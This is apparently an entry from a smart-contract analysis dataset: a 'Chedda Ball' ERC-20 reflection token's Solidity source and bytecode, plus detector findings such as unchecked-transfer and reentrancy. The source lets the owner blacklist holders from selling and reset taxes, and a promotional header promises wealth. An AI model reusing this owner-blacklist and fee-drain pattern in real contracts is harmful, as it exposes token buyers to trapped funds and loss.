fffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156132ea57620dbba081106132a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4d6178696d756d2076616c75652069732039303030303020283930252900000081525060200191505060405180910390fd5b6132aa612b03565b50806005819055507f42579f92a70f87aba8f5078eb967835b2ec9b3a08f2cfd5f318edbab1f783305816040518082815260200191505060405180910390a15b50565b600073ffffffffffffffffffffffffffffffffffffffff16627a121360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146133b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416464726573732077617320616c72656164792073657400000000000000000081525060200191505060405180910390fd5b80627a121360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000627a120b54821061341057600854905061342a565b600b82620f4240811061341f57fe5b600802016000015490505b919050565b6040518060400160405280600481526020017f4d44414f0000000000000000000000000000000000000000000000000000000081525081565b627a120b5481565b60065481565b6000627a120b5482106134925761348b612c11565b90506134ac565b600b82620f424081106134a157fe5b600802016004015490505b919050565b600b81620f424081106134c057fe5b600802016000915090508060000154908060010154908060020154908060030154908060040154908060050154908060060154908060070154905088565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561354b57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600a5481565b627a12106020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156137ef5780627a120f541015613742576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e73756666696369656e742066756e6473000000000000000000000000000081525060200191505060405180910390fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080627a120f600082825403925050819055508173ffffffffffffffffffffffffffffffffffffffff167f6ef4e6bd03d65516ad953afe2be611d12740f8cf60a3e0d280315ea8fc810494826040518082815260200191505060405180910390a25b5050565b60006020528060005260406000206000915090505481565b600080620c042c831115613825576000809150915061387a565b600061383084611c03565b61383985613c17565b01111561384e576138498361441c565b613851565b60005b9050600061385e846133f9565b111561387457620186a081620f42400303613877565b60005b91505b915091565b6000627a120c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1615806138e557506138e382613e51565b155b156138f35760009050613b3e565b600080627a120c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015490505b627a120b548111613b38576000806139558361380b565b91509150600061396484611bc8565b9050600061397185613476565b9050600061397e86611c03565b820261398987613c17565b84020190506000627a120c60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201548302627a120c60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015485020190506000627a120c60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541115613aeb57620f424086613a7c896133f9565b627a120c60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154613aca8b614452565b613ad38c614491565b020281613adc57fe5b040281613ae557fe5b04880197505b6000811115613b2557620f4240858383613b048b614452565b613b0d8c614491565b020281613b1657fe5b040281613b1f57fe5b04880197505b505050505050808060010191505061393e565b50809150505b919050565b627a120e5481565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60ff16600654430381613beb57fe5b04905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000627a120b548210613c2e576009549050613c48565b600b82620f42408110613c3d57fe5b600802016001015490505b919050565b627a121360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff16627a121160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613d3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416464726573732077617320616c72656164792073657400000000000000000081525060200191505060405180910390fd5b80627a121160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415613e4e57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613e4d5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b600080627a120c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154627a120c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154627a120c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540101119050919050565b60008160405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c01828152602001915050604051602081830303815290604052805190602001209050919050565b600080600080613f94856144c7565b80935081945082955050505060018684848460405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015613ffa573d6000803e3d6000fd5b50505060206040510351935050505092915050565b6000614019613bd8565b9050620c042c81111561404a57620c042c90506001627a120d60006101000a81548160ff0219169083151502179055505b6000614054612ed1565b90506000614060612c11565b9050600854600b627a120b54620f4240811061407857fe5b6008020160000181905550600954600b627a120b54620f4240811061409957fe5b6008020160010181905550600a54600b627a120b54620f424081106140ba57fe5b600802016002018190555081600b627a120b54620f424081106140d957fe5b600802016003018190555080600b627a120b54620f424081106140f857fe5b60080201600401819055506007548303600b627a120b54620f4240811061411b57fe5b6008020160050181905550600454600b627a120b54620f4240811061413c57fe5b6008020160060181905550600554600b627a120b54620f4240811061415d57fe5b6008020160070181905550600754830360146004548161417957fe5b0402627a120e60008282540192505081905550600754830360146004548161419d57fe5b0402627a120f60008282540192505081905550627a120b6000815480929190600101919050555082600781905550505050565b80600160008282540192505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000806000808473ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156142e257600080fd5b505afa1580156142f6573d6000803e3d6000fd5b505050506040513d606081101561430c57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050509250925092503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561439457600080fd5b505afa1580156143a8573d6000803e3d6000fd5b505050506040513d60208110156143be57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161461440057816dffffffffffffffffffffffffffff16614412565b826dffffffffffffffffffffffffffff165b9350505050919050565b6000627a120b54821061443357600554905061444d565b600b82620f4240811061444257fe5b600802016007015490505b919050565b6000627a120b5482106144725760075461446a613bd8565b03905061448c565b600b82620f4240811061448157fe5b600802016005015490505b919050565b6000627a120b5482106144a85760045490506144c2565b600b82620f424081106144b757fe5b600802016006015490505b919050565b600080600060418451146144da57600080fd5b60008060006020870151925060408701519150606087015160001a9050808383955095509550505050919390925056fea2646970667358221220283f373135a86e7f3536383df06a142e62a710435ddc6c9aec8bb88f0e48d70064736f6c63430007010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,695 |
0xfa501c4a8e29e9e927b4439690c150c69a6970e9
|
/*
We are Chedda Ball. A community inspired by CHEDDA.
EARN YOUR CHEDDA BALL today. We will develop an open and trusting community to enable every holder to have fun while accumulating wealth!.
Telegram: https://t.me/cheddaball
Website: https://cheddarball.io/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CHEDDABALL is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Chedda ball";
string private constant _symbol = "CHEDDABALL";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x7c1c3A03fA0dc7E6630F57C07309B1591d9a509B);
_buyTax = 13;
_sellTax = 13;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 35_000_001 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 35_000_001 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034d578063c3c8cd801461036d578063c9567bf914610382578063dbe8272c14610397578063dc1052e2146103b7578063dd62ed3e146103d757600080fd5b8063715018a6146102a85780638da5cb5b146102bd57806395d89b41146102e55780639e78fb4f14610318578063a9059cbb1461032d57600080fd5b806323b872dd116100f257806323b872dd14610217578063273123b714610237578063313ce567146102575780636fc3eaec1461027357806370a082311461028857600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a257806318160ddd146101d25780631bbae6e0146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611652565b61041d565b005b34801561016857600080fd5b5060408051808201909152600b81526a10da195919184818985b1b60aa1b60208201525b604051610199919061166f565b60405180910390f35b3480156101ae57600080fd5b506101c26101bd3660046116e9565b61046e565b6040519015158152602001610199565b3480156101de57600080fd5b50670de0b6b3a76400005b604051908152602001610199565b34801561020357600080fd5b5061015a610212366004611715565b610485565b34801561022357600080fd5b506101c261023236600461172e565b6104c7565b34801561024357600080fd5b5061015a61025236600461176f565b610530565b34801561026357600080fd5b5060405160098152602001610199565b34801561027f57600080fd5b5061015a61057b565b34801561029457600080fd5b506101e96102a336600461176f565b6105af565b3480156102b457600080fd5b5061015a6105d1565b3480156102c957600080fd5b506000546040516001600160a01b039091168152602001610199565b3480156102f157600080fd5b5060408051808201909152600a81526910d2115111105090531360b21b602082015261018c565b34801561032457600080fd5b5061015a610645565b34801561033957600080fd5b506101c26103483660046116e9565b610857565b34801561035957600080fd5b5061015a6103683660046117a2565b610864565b34801561037957600080fd5b5061015a6108fa565b34801561038e57600080fd5b5061015a61093a565b3480156103a357600080fd5b5061015a6103b2366004611715565b610ae2565b3480156103c357600080fd5b5061015a6103d2366004611715565b610b1a565b3480156103e357600080fd5b506101e96103f2366004611867565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104505760405162461bcd60e51b8152600401610447906118a0565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061047b338484610b52565b5060015b92915050565b6000546001600160a01b031633146104af5760405162461bcd60e51b8152600401610447906118a0565b667c5850c2be4a008111156104c45760108190555b50565b60006104d4848484610c76565b610526843361052185604051806060016040528060288152602001611a66602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f6d565b610b52565b5060019392505050565b6000546001600160a01b0316331461055a5760405162461bcd60e51b8152600401610447906118a0565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a55760405162461bcd60e51b8152600401610447906118a0565b476104c481610fa7565b6001600160a01b03811660009081526002602052604081205461047f90610fe1565b6000546001600160a01b031633146105fb5760405162461bcd60e51b8152600401610447906118a0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b8152600401610447906118a0565b600f54600160a01b900460ff16156106c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610447565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075291906118d5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c391906118d5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610810573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083491906118d5565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061047b338484610c76565b6000546001600160a01b0316331461088e5760405162461bcd60e51b8152600401610447906118a0565b60005b81518110156108f6576001600660008484815181106108b2576108b26118f2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ee8161191e565b915050610891565b5050565b6000546001600160a01b031633146109245760405162461bcd60e51b8152600401610447906118a0565b600061092f306105af565b90506104c481611065565b6000546001600160a01b031633146109645760405162461bcd60e51b8152600401610447906118a0565b600e546109849030906001600160a01b0316670de0b6b3a7640000610b52565b600e546001600160a01b031663f305d71947306109a0816105af565b6000806109b56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a429190611939565b5050600f8054667c5850c2be4a0060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c49190611967565b6000546001600160a01b03163314610b0c5760405162461bcd60e51b8152600401610447906118a0565b600f8110156104c457600b55565b6000546001600160a01b03163314610b445760405162461bcd60e51b8152600401610447906118a0565b600f8110156104c457600c55565b6001600160a01b038316610bb45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610447565b6001600160a01b038216610c155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610447565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610447565b6001600160a01b038216610d3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610447565b60008111610d9e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610447565b6001600160a01b03831660009081526006602052604090205460ff1615610dc457600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0657506001600160a01b03821660009081526005602052604090205460ff16155b15610f5d576000600955600c54600a55600f546001600160a01b038481169116148015610e415750600e546001600160a01b03838116911614155b8015610e6657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e7b5750600f54600160b81b900460ff165b15610e8f57601054811115610e8f57600080fd5b600f546001600160a01b038381169116148015610eba5750600e546001600160a01b03848116911614155b8015610edf57506001600160a01b03831660009081526005602052604090205460ff16155b15610ef0576000600955600b54600a555b6000610efb306105af565b600f54909150600160a81b900460ff16158015610f265750600f546001600160a01b03858116911614155b8015610f3b5750600f54600160b01b900460ff165b15610f5b57610f4981611065565b478015610f5957610f5947610fa7565b505b505b610f688383836111df565b505050565b60008184841115610f915760405162461bcd60e51b8152600401610447919061166f565b506000610f9e8486611984565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f6573d6000803e3d6000fd5b60006007548211156110485760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610447565b60006110526111ea565b905061105e838261120d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110ad576110ad6118f2565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611106573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112a91906118d5565b8160018151811061113d5761113d6118f2565b6001600160a01b039283166020918202929092010152600e546111639130911684610b52565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061119c90859060009086903090429060040161199b565b600060405180830381600087803b1580156111b657600080fd5b505af11580156111ca573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f6883838361124f565b60008060006111f7611346565b9092509050611206828261120d565b9250505090565b600061105e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611386565b600080600080600080611261876113b4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112939087611411565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112c29086611453565b6001600160a01b0389166000908152600260205260409020556112e4816114b2565b6112ee84836114fc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161133391815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611361828261120d565b82101561137d57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113a75760405162461bcd60e51b8152600401610447919061166f565b506000610f9e8486611a0c565b60008060008060008060008060006113d18a600954600a54611520565b92509250925060006113e16111ea565b905060008060006113f48e878787611575565b919e509c509a509598509396509194505050505091939550919395565b600061105e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f6d565b6000806114608385611a2e565b90508381101561105e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610447565b60006114bc6111ea565b905060006114ca83836115c5565b306000908152600260205260409020549091506114e79082611453565b30600090815260026020526040902055505050565b6007546115099083611411565b6007556008546115199082611453565b6008555050565b600080808061153a606461153489896115c5565b9061120d565b9050600061154d60646115348a896115c5565b905060006115658261155f8b86611411565b90611411565b9992985090965090945050505050565b600080808061158488866115c5565b9050600061159288876115c5565b905060006115a088886115c5565b905060006115b28261155f8686611411565b939b939a50919850919650505050505050565b6000826115d45750600061047f565b60006115e08385611a46565b9050826115ed8583611a0c565b1461105e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610447565b80151581146104c457600080fd5b60006020828403121561166457600080fd5b813561105e81611644565b600060208083528351808285015260005b8181101561169c57858101830151858201604001528201611680565b818111156116ae576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c457600080fd5b80356116e4816116c4565b919050565b600080604083850312156116fc5760008